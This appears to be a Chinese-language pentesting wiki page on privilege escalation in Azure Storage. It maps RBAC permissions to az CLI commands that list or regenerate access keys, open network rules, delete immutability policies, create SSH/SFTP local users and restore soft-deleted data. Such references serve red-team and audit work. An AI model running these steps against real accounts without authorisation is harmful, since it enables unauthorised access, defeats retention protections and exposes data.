Storage Privesc
有关存储的更多信息,请查看:
Microsoft.Storage/storageAccounts/listkeys/action
具有此权限的主体将能够列出(以及秘密值)存储帐户的 访问密钥 。这允许主体提升其在存储帐户上的权限。
Copy az storage account keys list --account-name < acc-nam e >
Microsoft.Storage/storageAccounts/regenerateKey/action
具有此权限的主体将能够更新并获取存储帐户的访问密钥 的新秘密值。这允许主体提升其在存储帐户上的权限。
此外,在响应中,用户将获得更新密钥的值以及未更新密钥的值:
Copy az storage account keys renew --account-name < acc-nam e > --key key2
Microsoft.Storage/storageAccounts/write
具有此权限的主体将能够创建或更新现有的存储帐户,更新任何设置,例如网络规则或策略。
Copy # e.g. set default action to allow so network restrictions are avoided
az storage account update --name < acc-nam e > --default-action Allow
# e.g. allow an IP address
az storage account update --name < acc-nam e > --add networkRuleSet.ipRules value= < ip-addres s >
Blob特定权限提升
Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
第一个权限允许修改容器中的不可变性策略 ,第二个权限允许删除它们。
请注意,如果不可变性策略处于锁定状态,您将无法执行这两项操作
Copy az storage container immutability-policy delete \
--account-name < STORAGE_ACCOUNT_NAM E > \
--container-name < CONTAINER_NAM E > \
--resource-group < RESOURCE_GROU P >
az storage container immutability-policy update \
--account-name < STORAGE_ACCOUNT_NAM E > \
--container-name < CONTAINER_NAM E > \
--resource-group < RESOURCE_GROU P > \
--period < NEW_RETENTION_PERIOD_IN_DAY S >
文件共享特定权限提升
Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
这应该允许拥有此权限的用户能够获取共享文件系统内文件的所有权。
Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
这应该允许拥有此权限的用户能够修改共享文件系统内文件的权限。
Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
这应该允许拥有此权限的用户能够以超级用户身份在文件系统内执行操作。
Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
拥有此权限的攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 Microsoft.Storage/storageAccounts/localusers/read
权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取(r)、写入(w)、删除(d)和列出(l)等。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
Copy az storage account local-user create \
--account-name < STORAGE_ACCOUNT_NAM E > \
--resource-group < RESOURCE_GROUP_NAM E > \
--name < LOCAL_USER_NAM E > \
--permission-scope permissions=rwdl service=blob resource-name= < CONTAINER_NAM E > \
--home-directory < HOME_DIRECTOR Y > \
--has-ssh-key false / true # Depends on the auth method to use
Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
通过此权限,攻击者可以为 Azure 存储帐户中的本地用户重新生成密码。这使攻击者能够获取用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可以获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。
Copy az storage account local-user regenerate-password \
--account-name < STORAGE_ACCOUNT_NAM E > \
--resource-group < RESOURCE_GROUP_NAM E > \
--name < LOCAL_USER_NAM E >
要通过 SFTP 使用本地用户访问 Azure Blob Storage,您可以(您也可以使用 ssh 密钥进行连接):
Copy sftp < local-user-nam e > @ < storage-account-nam e > .blob.core.windows.net
#regenerated-password
Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
Copy #Restore the soft deleted container
az storage container restore \
--account-name < STORAGE_ACCOUNT_NAM E > \
--name < CONTAINER_NAM E > \
--deleted-version < VERSIO N >
#Restore the soft deleted blob
az storage blob undelete \
--account-name < STORAGE_ACCOUNT_NAM E > \
--container-name < CONTAINER_NAM E > \
--name "fileName.txt"
其他有趣的权限 (TODO)
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: 更改 blob 的所有权
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: 修改 blob 的权限
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: 返回 blob 命令的结果
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
参考文献